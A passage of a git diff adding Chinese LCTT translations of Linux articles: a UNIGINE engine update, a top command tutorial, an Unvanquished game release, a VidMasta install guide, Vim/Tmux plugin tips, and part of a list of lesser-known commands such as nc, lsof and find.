Linux 平台上的扩展,我们真的很高兴看到这引擎在最近时间作出的重大的更新。 + +在 UNIGINE 引擎最近作出的更新中,最大的更新是通用图像生成器接口 (Common Image Generator Interface/CIGI) 协议。 + +据引擎的开发者说,这个接口在模拟行业中,是一种用于主机设备与图像生成器 (IG) 之间通信的标准方法来的。 + +### 新款 UNIGINE 引擎的亮点 ### + +- 在笛卡尔坐标系中增加了对 WGS84,ECF 和 NED 坐标系的支持(这会帮助开发者更好地在用 Unigine 开发的项目中使用实时的 GIS 数据); +- 实施了游戏框架,这样使得游戏更加容易地创建,同时这种特性包括实体与节点的自动链接、层次与世界的自动链接、实体对象管理、贯穿所有层次的游戏全局上下文、事件处理系统、最佳的实体更新等等。 +- 增加渲染时帧率的稳定性。 +- 两个新的选项,2D 噪音和 3D 噪音(编辑器中的状态选项卡),已被添加到 mesh_leaf_base 材质中。 +- 一个新的参数,遮挡屏蔽,已经被添加到所有的材质中。 +- 密杂草丛的高度现已实现同步。 +- 修复了在渲染非 Flash 闪屏时崩溃的漏洞。 + +所有平台的完整新特性列表,可以在官方的[公告][1]中找到。. + +要记住 UNIGINE 引擎只针对商业企业,并不向广大用户提供试用版。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/UNIGINE-Is-Probably-the-Best-Gaming-Engine-on-Linux-404484.shtml + +译者:[hyaocuk](https://github.com/hyaocuk) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.unigine.com/devlog/2013/11/27/113 + diff --git a/published/201312/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md b/published/201312/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md new file mode 100644 index 0000000000..74c801bcc6 --- /dev/null +++ b/published/201312/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md @@ -0,0 +1,305 @@ +30个实例详解TOP命令 +================================================================================ + +Linux中的top命令显示系统上正在运行的进程。它是系统管理员最重要的工具之一。被广泛用于监视服务器的负载。在本篇中,我们会探索top命令的细节。top命令是一个交互命令。在运行top的时候还可以运行很多命令。我们也会探索这些命令。 + +(译注:不同发行版的top命令在各种细节有不同,如果发现不同时,请读你的帮助手册和命令内的帮助。) + +## 1. Top 命令输出: ## + +首先,让我们了解一下输出。top命令会显示系统的很多信息。我们需要理解不同部分输出的意义:默认运行时,top命令会显示如下输出: + +![默认显示](http://linoxide.com/wp-content/uploads/2013/11/01.top_default.png) + +前几行水平显示了不同系统参数的概括,接下来是进程和它们在列中的属性。 + +### 1.1 系统运行时间和平均负载: ### + +![显示运行时间](http://linoxide.com/wp-content/uploads/2013/11/02.top_uptime.png) + +top命令的顶部显示与uptime命令相似的输出。 + +这些字段显示: + +- 当前时间 +- 系统已运行的时间 +- 当前登录用户的数量 +- 相应最近5、10和15分钟内的平均负载。 + +可以使用'l'命令切换uptime的显示。 + +### 1.2 任务: ### + +![任务概况](http://linoxide.com/wp-content/uploads/2013/11/03.top_tasks.png) + +第二行显示的是任务或者进程的总结。进程可以处于不同的状态。这里显示了全部进程的数量。除此之外,还有正在运行、睡眠、停止、僵尸进程的数量(僵尸是一种进程的状态)。这些进程概括信息可以用't'切换显示。 + +### 1.3 CPU 状态: ### + +![CPU状态显示](http://linoxide.com/wp-content/uploads/2013/11/04.top_cpu_states.png) + +下一行显示的是CPU状态。 这里显示了不同模式下的所占CPU时间的百分比。这些不同的CPU时间表示: + +- us, user: 运行(未调整优先级的) 用户进程的CPU时间 +- sy,system: 运行内核进程的CPU时间 +- ni,niced:运行已调整优先级的用户进程的CPU时间 +- wa,IO wait: 用于等待IO完成的CPU时间 +- hi:处理硬件中断的CPU时间 +- si: 处理软件中断的CPU时间 +- st:这个虚拟机被hypervisor偷去的CPU时间(译注:如果当前处于一个hypervisor下的vm,实际上hypervisor也是要消耗一部分CPU处理时间的)。 + +可以使用't'命令切换显示。 + +### 1.4 内存使用: ### + +![内存使用情况](http://linoxide.com/wp-content/uploads/2013/11/05.top_mem_usage.png) + +接下来两行显示内存使用率,有点像'free'命令。第一行是物理内存使用,第二行是虚拟内存使用(交换空间)。 + +物理内存显示如下:全部可用内存、已使用内存、空闲内存、缓冲内存。相似地:交换部分显示的是:全部、已使用、空闲和缓冲交换空间。 + +内存显示可以用'm'命令切换。 + +### 1.5 字段/列: ### + +![任务信息列](http://linoxide.com/wp-content/uploads/2013/11/06.top_fields.png) + +在横向列出的系统属性和状态下面,是以列显示的进程。不同的列代表下面要解释的不同属性。 + +默认上,top显示这些关于进程的属性: + +**PID** + +进程ID,进程的唯一标识符 + +**USER** + +进程所有者的实际用户名。 + +**PR** + +进程的调度优先级。这个字段的一些值是'rt'。这意味这这些进程运行在实时态。 + +**NI** + +进程的nice值(优先级)。越小的值意味着越高的优先级。 + +**VIRT** + +进程使用的虚拟内存。 + +**RES** + +驻留内存大小。驻留内存是任务使用的非交换物理内存大小。 + +**SHR** + +SHR是进程使用的共享内存。 + +**S** + +这个是进程的状态。它有以下不同的值: + +- D - 不可中断的睡眠态。 +- R – 运行态 +- S – 睡眠态 +- T – 被跟踪或已停止 +- Z – 僵尸态 + +**%CPU** + +自从上一次更新时到现在任务所使用的CPU时间百分比。 + +**%MEM** + +进程使用的可用物理内存百分比。 + +**TIME+** + +任务启动后到现在所使用的全部CPU时间,精确到百分之一秒。 + +**COMMAND** + +运行进程所使用的命令。 + +还有许多在默认情况下不会显示的输出,它们可以显示进程的页错误、有效组和组ID和其他更多的信息。 + +## 2. 交互命令: ## + +我们之前说过top是一个交互命令。上一节我们已经遇到了一些命令。这里我们会探索更多的命令。 + +### 2.1 ‘h’: 帮助 ### + +首先,我们可以用'h'或者'?'显示交互命令的帮助菜单。 + +![帮助菜单](http://linoxide.com/wp-content/uploads/2013/11/07.top_help.png) + +### 2.2 ‘\’ 或者 ‘\’: 刷新显示 ### + +top命令默认在一个特定间隔(3秒)后刷新显示。要手动刷新,用户可以输入回车或者空格。 + +### 2.3 ‘A’: 切换交替显示模式 ### + +这个命令在全屏和交替模式间切换。在交替模式下会显示4个窗口(译注:分别关注不同的字段): + +1. Def (默认字段组) +2. Job (任务字段组) +3. Mem (内存字段组) +4. Usr (用户字段组) + +这四组字段共有一个独立的可配置的概括区域和它自己的可配置任务区域。4个窗口中只有一个窗口是当前窗口。当前窗口的名称显示在左上方。(译注:只有当前窗口才会接受你键盘交互命令) + +![交替显示](http://linoxide.com/wp-content/uploads/2013/11/08.top_alternative_display.png) + +我们可以用'a'和'w'在4个 窗口间切换。'a'移到后一个窗口,'w'移到前一个窗口。用'g'命令你可以输入一个数字来选择当前窗口。 + +![在交替显示中选择窗口](http://linoxide.com/wp-content/uploads/2013/11/09.top_alternate_window_selection.png) + +### 2.4 ‘B’: 触发粗体显示 ### + +一些重要信息会以加粗字体显示。这个命令可以切换粗体显示。 + +![关闭粗体](http://linoxide.com/wp-content/uploads/2013/11/10.top_bold_display_off.png) + +### 2.5 ‘d’ 或‘s’: 设置显示的刷新间隔 ### + +当按下'd'或's'时,你将被提示输入一个值(以秒为单位),它会以设置的值作为刷新间隔。如果你这里输入了1,top将会每秒刷新。 + +![刷新间隔l](http://linoxide.com/wp-content/uploads/2013/11/11.top_display_time_interval.png) + +### 2.6 ‘l’、‘t’、‘m’: 切换负载、任务、内存信息的显示 ### + +这会相应地切换顶部的平均负载、任务/CPU状态和内存信息的概况显示。 + +![不显示平均负载](http://linoxide.com/wp-content/uploads/2013/11/12.top_load_average_display_off.png) + +![不显示CPU概况](http://linoxide.com/wp-content/uploads/2013/11/13.top_cpu_display_off.png) + +![不显示内存和交换内存概况](http://linoxide.com/wp-content/uploads/2013/11/14.top_mem_display_off.png) + +![上面三个全不显示](http://linoxide.com/wp-content/uploads/2013/11/15.top_all_three_display_off.png) + +### 2.7 ‘f’: 字段管理 ### + +用于选择你想要显示的字段。用'*'标记的是已选择的。 + +![管理显示列](http://linoxide.com/wp-content/uploads/2013/11/16.top_field_management.png) + +上下光标键在字段内导航,左光标键可以选择字段,回车或右光标键确认。 + +按'<'移动已排序的字段到左边,'>'则移动到右边。 + +### 2.8 ‘R’: 反向排序 ### + +切换反向/常规排序。 + +### 2.9 ‘c’: 触发命令 ### + +切换是否显示进程启动时的完整路径和程序名。 + +![完整命令路径](http://linoxide.com/wp-content/uploads/2013/11/17.top_command_name_displayed.png) + +### 2.10 ‘i’: 空闲任务 ### + +切换显示空闲任务。 + +![不显示空闲命令](http://linoxide.com/wp-content/uploads/2013/11/18.top_idle_tasks_off.png) + +### 2.11 ‘V’: 树视图 ### + +切换树视图。 + +![树视图](http://linoxide.com/wp-content/uploads/2013/11/19.top_forest_view.png) + +### 2.12 ‘Z’: 改变配色 ### + +按下'Z'向用户显示一个改变top命令的输出颜色的屏幕。可以为8个任务区域选择8种颜色。 + +![定制颜色](http://linoxide.com/wp-content/uploads/2013/11/20.top_color_selection.png) + +下面显示的是4中颜色显示的top视图。 + +![彩色显示](http://linoxide.com/wp-content/uploads/2013/11/21.top_colored.png) + +### 2.13 ‘z’: 切换彩色显示 ### + +切换彩色,即打开或关闭彩色显示。 + +### 2.14 ‘x’ 或者 ‘y’ ### + +切换高亮信息:'x'将排序字段高亮显示(纵列);'y'将运行进程高亮显示(横行)。依赖于你的显示设置,你可能需要让输出彩色来看到这些高亮。 + +![X 和 Y高亮](http://linoxide.com/wp-content/uploads/2013/11/22.top_x_y_displayed.png) + +### 2.15 ‘u’: 特定用户的进程 ### + +显示特定用户的进程。你会被提示输入用户名。空白将会显示全部用户。 + +![raghu的进程](http://linoxide.com/wp-content/uploads/2013/11/23.top_raghu_processes.png) + +### 2.16 ‘n’ 或 ‘#’: 任务的数量 ### + +设置最大显示的任务数量 + +![设置最大显示的任务数量](http://linoxide.com/wp-content/uploads/2013/11/24.top_10_processes.png) + +### 2.17 ‘k’: 结束任务 ### + +top命令中最重要的一个命令之一。用于发送信号给任务(通常是结束任务)。 + +![杀死一个任务](http://linoxide.com/wp-content/uploads/2013/11/25.top_kill_task.png) + +### 2.18 ‘r’: 重新设置优先级 ### + +重新设置一个任务的调度优先级。 + +## 3. 命令行选项: ## + +这些命令行选项与上面讨论的命令大多相同。top的输出可以用命令交互操作,但是你也可以带参数运行top来设置你想要的效果。 + +### 3.1 -b: 批处理模式 ### + +-b选项以批处理模式启动top命令。当你想要在文件中保存输出时是很有用的。 + +### 3.2 -c: 命令/程序名 触发: ### + +如上面所讨论到的命令,这个选项会以上次记住的程序/命令显示的状态显示(是否显示完整路径)。 + +### 3.3 -d: 设置延迟间隔 ### + +设置top的显示间隔(以秒计)。比如。 + + $ top -d 1 + +将会以1秒的刷新间隔启动top。 + +### 3.4 -i: 切换显示空闲进程 ### + +这个选项设置top命令的上一次记住的**相反的**'i'状态。 + +### 3.5 -n: 设置迭代数量 ### + +用-n选项,你可以设置top退出前迭代的次数。 + + $ top -n 3 + +将会在刷新输出3次后退出。 + +### 3.6 -p: 监控特定的PID ### + +你可以用-p选项监控指定的PID。PID的值为0将被作为top命令自身的PID。 + +### 3.7 -u 或 -U: 用户名 或者 UID ### + +可以用这些选项浏览特定用户的进程。用户名或者UID可以在选项中指定。-p、-u和-U选项是互斥的,同时只可以使用这其中一个选项。当你试图组合使用这些选项时,你会得到一个错误: + + $ top -p 28453 -u raghu + top: conflicting process selections (U/p/u) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-top-command-examples-screenshots/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201312/Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux.md b/published/201312/Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux.md new file mode 100644 index 0000000000..5a3b44dc62 --- /dev/null +++ b/published/201312/Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux.md @@ -0,0 +1,43 @@ +Unvanquished 可能会是Linux上最好的免费多人游戏 +================================================================================ +**Unvanquished,一款免费的、开源的并将实时策略元素和未来科幻设定相结合的第一人称视角的射击游戏,已经发布了它的第22次更新。事实上,版本号是22.1。** + +![](http://i1-news.softpedia-static.com/images/news2/Unvanquished-Will-Probably-Be-the-Best-Free-Multiplayer-Game-on-Linux-405956-2.jpg) + + +即便Unvanquished仍处在内部测试阶段,但开发者们已经添加了很多新特性,使得这款游戏的可玩性更强。 + +Unvanquished的内部测试版22. 1已经发布了一些改变。包括引擎,游戏设置,一个新地图,一个已有地图的新版本, +还有更多。 + +![](http://www.unvanquished.net/images/20131202-snowstation.jpg) + +Snowstation是集成在这款游戏中的新地图。据开发者透露,它拥有一个简单的设计,必要的环路和用来形成这个环路的一部分的雪地场景。 + +公告里写道:“我们使用C++编写所有的引擎代码。一些地方变得有点不同——一些指令被略微更改或重命名,一些输出看起来不同。你可能会注意到在进行标记结构时,需要重新绑定关键字。原因是/if已经失去修改关键字的支持,你需要使用/modcase代替”。 + +### Unvanquished Alpha 22.1的亮点:### + +• 加入了喷气引擎。玩家必须按住跳跃键然后飞翔 - 但你不能一直翱翔,你只有有限的燃料; +• 报告“受到攻击”消息的原因已经被改变; +• 当接近合适的建筑时,人类的武器将被自动填充或充电,而不是使用; +• 中继器现在是有效的小型反应堆,当周围没有反应堆时,它们能提供能量; +• 在OpenGL 2.1的环境中FXAA和Mesa一起工作。 + +关于这款看起来让人很惊奇的游戏的更多细节可以在官方网站 [网址][1]上找到。请注意这是一个正在进行中的工作,所以错误是一定会出现的。 + +**立即下载Unvanquished Alpha 22.1** + +- [Debian/Ubuntu DEB ALL][2][ubuntu_deb] [0 KB] +- [Arch Linux package][2][binary] [0 KB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Unvanquished-Will-Probably-Be-the-Best-Free-Multiplayer-Game-on-Linux-405956.shtml + +译者:[KayGuoWhu](https://github.com/KayGuowhu) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.unvanquished.net/news/111-it-s-release-time-again-alpha-22 +[2]:http://www.unvanquished.net/download#linux diff --git a/published/201312/VidMasta--A Desktop Application For Searching Movies And TV Shows.md b/published/201312/VidMasta--A Desktop Application For Searching Movies And TV Shows.md new file mode 100644 index 0000000000..bee782149c --- /dev/null +++ b/published/201312/VidMasta--A Desktop Application For Searching Movies And TV Shows.md @@ -0,0 +1,104 @@ +VidMasta:搜索和观看在线电影、电视剧的神器 +=== + +你是否曾经想要从桌面搜索电影或电视剧,或者搜寻能够随时为你搜索这些东西的应用程序?这儿有一个应用可以满足你的需要。 + +[**VidMasta**][1]是一个免费的、跨平台的的应用,它将搜索、浏览、评论、观看和下载那些在线分享的视频和电视剧等功能融为一体。它可以运行在Linux、Windows和Mac OS X上。 + +###特点 + +使用VidMasta,你可以做到以下这些: + +- 观看或下载任何格式的电影或电视剧 +- 支持的格式是:TV,DVD,720P,1080P。 +- 匿名链接并自动过滤不受信任的IP,可以使用代理,还可以使用加密连接。 +- 搜索算法可以为电影下载链接自动匹配最佳下载源 +- “流行电影”和“流行电视剧”选项可以显示并让你下载当前最流行的电影/电视剧 +- 下载电影字幕 +- 可设置每次搜素结果的个数 +- 设置下载的视频文件的扩展名 +- 自动按照受欢迎度为搜索结果排序 +- 可以听也可以阅读影视概要 +- 观看预告片 +- 查看上映时间和电影评价 +- 多线程搜索和下载 +- 能够侦测电影盒子设置 +- 可以和[PeerBlock][2]集成(这项功能只能在Windows2000,xp,Vista和Windows 7上使用) +- 除了[Java][3](版本为6或以上)外,不再需要额外的软件 +- 客户端可以自动更新 + +###在Linux上安装VidMasta + +在安装VidMasta之前,你应该在你的Linux桌面系统中安装最新版的Java。从[这儿][4]下载最新版。进入你下载的文件夹,使用下面的命令安装它: + + sudo java -jar vidmasta-setup-16.7.jar + +运行后,就会出现像下面这样的画面。点击下一步继续。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Installation-of-VidMasta_001.jpg) + +选择安装路径,点击下一步。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Installation-of-VidMasta_002.jpg) + +安装完成后,点击下一步。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Installation-of-VidMasta_004.jpg) + +设置快捷键。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Installation-of-VidMasta_007.jpg) + +最后,点击Done结束安装。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Installation-of-VidMasta_008.jpg) + +完成安装后,VidMasta会自动打开。下面是VidMasta的默认界面。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/VidMasta_009.jpg) + +###搜素电影&电视剧 + +搜索电影电视剧非常容易。在标题框里键入电影的名字,选择电影种类和电影格式,例如“任何”,“DVD”,“720HD”,“1080HD”等。然后敲击Enter键开始搜素。你还可以通过评价来过滤搜素结果。假如你不知道电影的名字,你可以在菜单栏里勾选“任何”。 + +例如我要搜索冒险类的清晰度为720HD并在在2012年的11月第一周的今天上映的电影。一旦你敲击搜索按钮,VidMasta就会从[www.imdb.com][5]网站抓取搜索结果,并显示你每次搜索的关键词。下面是输出的样例。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/VidMasta_012.jpg) + +你还可以在下载之前观看预告片或者阅读电影概要。要看电影的概要?选择一个电影,右击它,点击阅读概要就可以咯。你也可以使用搜索结果下的按钮去阅读电影概要,观看预告片,下载或者观看整个电影 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/VidMasta_013.jpg) + +更重要的是你可以在下载一部电影之前先观看它的预告片。点击观看预告片按钮,预告片就会在一个新窗口中打开,像下面这样。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/%E2%96%B6-Django-Unchained-Official-Trailer-HD-YouTube-Mozilla-Firefox_014.jpg) + +如果你喜欢这部电影,可以点击下载链接(下载链接1或者下载链接2)下载这部电影。 + +###流行电影&流行电视剧 + +假如你不知道那些电影值得去看时。那么不用担心,VidMata有一个选项去显示当前流行的电影或电视剧。点击下面的流行电影或电视剧按钮去发现当前流行流行的电影或电视剧。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/VidMasta_015.jpg) + +是不是很酷? + +需要注意的是,若你不能下载最新的电影或电视剧时,也许是因为版权问题或者国家原因。 + +你也可以尝试一下安装最新版的Java并禁用掉屏蔽广告程序,再去播放或下载电影。 + +你是否对此很期待呢?赶紧把它下载下来安装到你的系统中,祝你使用愉快! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/vidmasta-desktop-application-searching-movies-tv-shows/ + +译者:[Linux-pdz](https://github.com/Linux-pdz`) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://sites.google.com/site/algwares/vidmasta +[2]:http://www.peerblock.com/ +[3]:http://www.java.com/ +[4]:http://sourceforge.net/projects/vidmasta/ +[5]:http://www.unixmen.com/vidmasta-desktop-application-searching-movies-tv-shows/www.imdb.com diff --git a/published/201312/Vim is your new IDE.md b/published/201312/Vim is your new IDE.md new file mode 100644 index 0000000000..21e8ae1d43 --- /dev/null +++ b/published/201312/Vim is your new IDE.md @@ -0,0 +1,60 @@ +终端至上!将Vim打造成全新的集成开发环境! +================================================================================ +**让GUI都玩儿蛋去!鼠标是你的敌人!只有键盘才是你唯一的朋友!** + +如果把Vim和Tmux结合在一起会发生什么?你将拥有完美的编程环境!下面是我多年来珍藏的一些不传之秘,有了这些,你立刻就能轻松打造出属于你的Vim开发环境。 + +###Tmux相关### + +- [Tmux速成班][1],这个不错,可以让你快速掌握如何开始使用Tmux。 +- 这是我的[tmux.conf配置文件][2],它有一个定制状态栏,可以大大改进颜色主题、优化可读性,里面还有一个必不可少的操作:重设快捷将,因为`Ctrl+b`Vim要用,因此它帮你改为了`Ctrl+a`。 +- 其实,[构建优化IDE][3]就像写一个bash脚本一样简单。链接内的例子展示了如何编写一个`.sh`脚本来运行你自己的编程环境。 + +###Vim插件### + +- [Vundle][4],Vim的插件管理器,用它可以跟踪`.vimrc`文件中的所有插件,还可以进行脚本的一键安装、更新或删除。额,我会告诉你用它还可以直接在Vim里**搜索**插件吗?总之,这个插件扩展绝对是居家旅行、杀人越货之Vim必备佳品。 +- [Syntastic][5] 可以检测语法是否正确,写代码的时候要想避免低级错误,这个工具必不可少,它的确能**大大提高**你的代码编写速度。 +- [Supertab][6],这款插件可以帮助你使用``实现自动补全。它会搜索当前文档中的所有字符串,然后给出所有的匹配项建议。对写代码带来的好处不只是提升速度,还可以避免很多拼写错误。如果有兴趣,在本文最后一部分**用户推荐**,有此插件的替代品。 +- [Ack][7],99%的用户会选择用它代替grep。它完美集成在Vim里,用户可以直接用它搜索项目文件,搜索结果则显示在一个独立的窗口里。在本文最后一部分**用户推荐**,也有此插件的替代品。 +- [CtrlP][8] 能够极快的模糊搜索全路径文件、缓冲区、“最近使用”(MRU)和标签等等,纯粹用`VimL`写成,专为Vim搜索。 +- [NERDTree][9] 可以帮你浏览整个文件系统、打开文件或目录。它以树形结构显示整个文件系统,支持键盘操作和简单的文件系统操作。 +- [Sparkup][10]可以帮助你更快的编写HTML代码。支持**类CSS语法**和**完整的HTML扩展**代码。在本文最后一部分**用户推荐**,也有此插件的替代品。 + +###小贴士### + +- [Vimux][11]可以帮你在Vim中与Tmux进行交互。例如在不需要离开Vim的情况下进行测试、编写脚本、建立任务等。 +- [《自动安装Vundle》][12]这篇文章介绍了在`.vimrc`配置文件中只需添加几行`VimL`脚本,这样每次你在一个新环境中运行Vim的时候,它就能自动安装Vundle及所有关联包。在你拷贝Vim配置文件到一个新环境或新的服务器时,这是非常有用的。 +- [一名开发者的成功故事][13]介绍了他是如何告别他曾经最信任的**MacBook Pro**,并改用iPad + Linode在云上开始开发工作。 + +###用户推荐### + +- [YouCompleteMe][14],由Reddit用户hnasarat推荐。它安装起来稍微麻烦一些,但是支持非常强大的语法补全,包括C、Ruby、Python、PHP等许多语言。 +- [Ag][15],由*gckjk*推荐,大多数Reddit用户都知道它,这是升级版的`ack`,速度快了3到5倍。它能读取 `.gitignore`和 `.hgignore`,或者`.agignore`,从而忽略一些被版本控制软件所忽略的匹配文件(译注:不加入版本库的文件,我想你大多数时候没有搜索它的意图)。 +- [Emmet][16],由另一个资深reddit用户*damnated*推荐。这是一款`Sparkup`的替代品,可以非常方便快速地用标签标记字符串。链接里有示例演示视频。 +- [Unite][17]由网友 basetta推荐,它可以作为前面多个插件的集大成者。你可以用它搜索文件(就像`CtrlP`),搜索文档内容(就像`ack`或`ag`),还可以在下拉历史或缓冲区间进行自由移动和切换。所有这些功能都集成在了这一个插件里,非常方便! + +-------------------------------------------------------------------------------- + +via: http://devcharm.com/pages/18-vim-is-your-new-ide + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://robots.thoughtbot.com/a-tmux-crash-course +[2]:https://github.com/vrde/dotfiles/blob/master/.tmux.conf +[3]:https://gist.github.com/vrde/7398199 +[4]:https://github.com/gmarik/vundle +[5]:https://github.com/scrooloose/syntastic +[6]:https://github.com/ervandew/supertab +[7]:https://github.com/mileszs/ack.vim +[8]:http://kien.github.io/ctrlp.vim/ +[9]:https://github.com/scrooloose/nerdtree +[10]:https://github.com/rstacruz/sparkup +[11]:https://github.com/benmills/vimux +[12]:http://www.erikzaadi.com/2012/03/19/auto-installing-vundle-from-your-vimrc/ +[13]:http://www.linuxjournal.com/content/swap-your-laptop-ipad-linode +[14]:https://github.com/Valloric/YouCompleteMe +[15]:https://github.com/ggreer/the_silver_searcher +[16]:http://mattn.github.io/emmet-vim/ +[17]:https://github.com/Shougo/unite.vim diff --git a/published/201401/10 Lesser Known Useful Linux Commands- Part V.md b/published/201401/10 Lesser Known Useful Linux Commands- Part V.md new file mode 100644 index 0000000000..888f8c04af --- /dev/null +++ b/published/201401/10 Lesser Known Useful Linux Commands- Part V.md @@ -0,0 +1,185 @@ +十个鲜为人知的Linux命令 - Part 5 +================================================================================ + +在前四篇 **“鲜为人知的Linux命令”** 系列文章受到高度赞赏之后,我们将为广大读者呈上此系列的最后一篇文章,虽然是最后一篇,但是其重要性毫不逊于前几篇。 + +![](http://www.tecmint.com/wp-content/uploads/2013/12/10-Lesser-Known-Useful-Commands-V.png) + +前几篇文章的地址如下: + +- [十一个鲜为人知的 Linux 命令 - Part 1][1] +- [十个鲜为人知的 Linux 命令 - Part 2][2] +- [十个鲜为人知的 Linux 命令 - Part 3][3] +- [十个鲜为人知的 Linux 命令 - Part 4][4] + +### 42. lsb_release ### + + **‘lsb_release’** 命令会打印特殊发行版的信息。如果 **lsb_release** 还没安装,你可以在基于 **Debain** 的发行版中用命令 apt 安装,在基于 **Red Hat** 系统下用 yum 来安装包。 + + # lsb_release -a + LSB Version: :base-4.0-ia32:base-4.0-noarch:core-4.0-ia32:core-4.0-noarch:graphics-4.0-ia32: + Distributor ID: CentOS + Description: CentOS release 6.3 (Final) + Release: 6.3 + Codename: Final + +**注意:**选项‘**-a**’,会显示有关**版本、ID、详情、发行号**和**研发代号**的全部可用信息。 + +### 43. nc -zv localhost 80 ### + +检查 **80** 端口是否被打开。我们可以用任何其他端口号替换‘**80**’来检查端口是否被打开或关闭。 + + $ nc -zv localhost 80 + Connection to localhost 80 port [tcp/http] succeeded! + + (译注:出现该信息表示80端口已被打开。) + +检查 **8080** 端口是否启用 + + $ nc -zv localhost 8080 + nc: connect to localhost port 8080 (tcp) failed: Connection refused + +(译注:该信息显示了8080端口并未打开。) + +### 44. curl ipinfo.io ### + +该命令会输出并提供 **IP 地址** 的 **‘地理位置’** 。 + + $ curl ipinfo.io + "ip": "xx.xx.xx.xx", + "hostname": "triband-del-aa.bbb.cc.ddd.bol.net.in", + "city": "null", + "region": "null", + "country": "IN", + "loc": "20,77", + "org": "AS17813 Mahanagar Telephone Nigam Ltd". + +### 45. find . -user root ### + +该命令会输出当前目录下( **root** )用户所拥有的文件(译注:即owner为root)。下面是在当前目录下列出的所有 ‘root’用户拥有的文件。 + + # find . -user root + ./.recently-used.xbel + ./.mysql_history + ./.aptitude + ./.aptitude/config + ./.aptitude/cache + ./.bluefish + ./.bluefish/session-2.0 + ./.bluefish/autosave + ./.bash_history + +在当前路径下列出所有 **‘avi’** 用户拥有的文件 + + # find . -user avi + ./.cache/chromium/Cache/f_002b66 + ./.cache/chromium/Cache/f_001719 + ./.cache/chromium/Cache/f_001262 + ./.cache/chromium/Cache/f_000544 + ./.cache/chromium/Cache/f_002e40 + ./.cache/chromium/Cache/f_00119a + ./.cache/chromium/Cache/f_0014fc + ./.cache/chromium/Cache/f_001b52 + ./.cache/chromium/Cache/f_00198d + ./.cache/chromium/Cache/f_003680 + +### 46. sudo apt-get build-dep ffmpeg ### + +该命令会在相应的包安装时自动构建依赖关系。因此包安装的过程将非常流畅,也是非常容易的。 + + # apt-get build-dep ffmpeg + libxinerama-dev libxml-namespacesupport-perl libxml-sax-expat-perl + libxml-sax-perl libxml-simple-perl libxrandr-dev libxrender-dev + x11proto-render-dev x11proto-xinerama-dev xulrunner-dev + The following packages will be upgraded: + libpixman-1-0 + + 1 upgraded, 143 newly installed, 0 to remove and 6 not upgraded. + Need to get 205 MB of archives. + After this operation, 448 MB of additional disk space will be used. + Do you want to continue [Y/n]? + +### 47. lsof -iTCP:80 -sTCP:LISTEN ### + +该命令会输出所用正在使用 **80** 端口的 **进程/服务** 的名称。在 **80** 端口运行下列命令会更好理解这个命令,它会列出所用运行在该端口的 **进程/服务** 。 + + root@localhost:/home/avi# lsof -iTCP:80 -sTCP:LISTEN + COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME + apache2 1566 root 5u IPv6 5805 0t0 TCP *:www (LISTEN) + apache2 1664 www-data 5u IPv6 5805 0t0 TCP *:www (LISTEN) + apache2 1665 www-data 5u IPv6 5805 0t0 TCP *:www (LISTEN) + apache2 1666 www-data 5u IPv6 5805 0t0 TCP *:www (LISTEN) + apache2 1667 www-data 5u IPv6 5805 0t0 TCP *:www (LISTEN) + apache2 1668 www-data 5u IPv6 5805 0t0 TCP *:www (LISTEN) + +同样,你可以检查运行在端口 **22** 的进程/服务。 + + root@localhost:/home/avi# lsof -iTCP:22 -sTCP:LISTEN + COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME + sshd 2261 root 3u IPv4 8366 0t0 TCP *:ssh (LISTEN) + sshd 2261 root 4u IPv6 8369 0t0 TCP *:ssh (LISTEN) + +### 48. find -size +100M ### + +这条find命令会在当前目录下列出所有超过指定大小的文件(这里指定为**100 MB**),递归查询。 + + # find -size +100M + ./.local/share/Trash/files/linuxmint-15-cinnamon-dvd-32bit.iso + ./Downloads/Fedora-Live-Desktop-i686-19-1.iso + ./Downloads/Ant Videos/shakira 2.avi + ./Downloads/Deewar.avi + ./Desktop/101MSDCF/MOV02224.AVI + ./Desktop/101MSDCF/MOV02020.AVI + ./Desktop/101MSDCF/MOV00406.MP4 + ./Desktop/squeeze.iso + +在当前目录递归的列出所用大于 **1000 MB** 的文件。 + + root@localhost:/home/avi# find -size +1000M + ./Downloads/The Dark Knight 2008 hindi BRRip 720p/The Dark Knight.mkv.part + ./Downloads/Saudagar - (1991) - DVDRiP - x264 - AAC 5.1 - Chapters - Esubs - [DDR]/Saudagar + - (1991) - 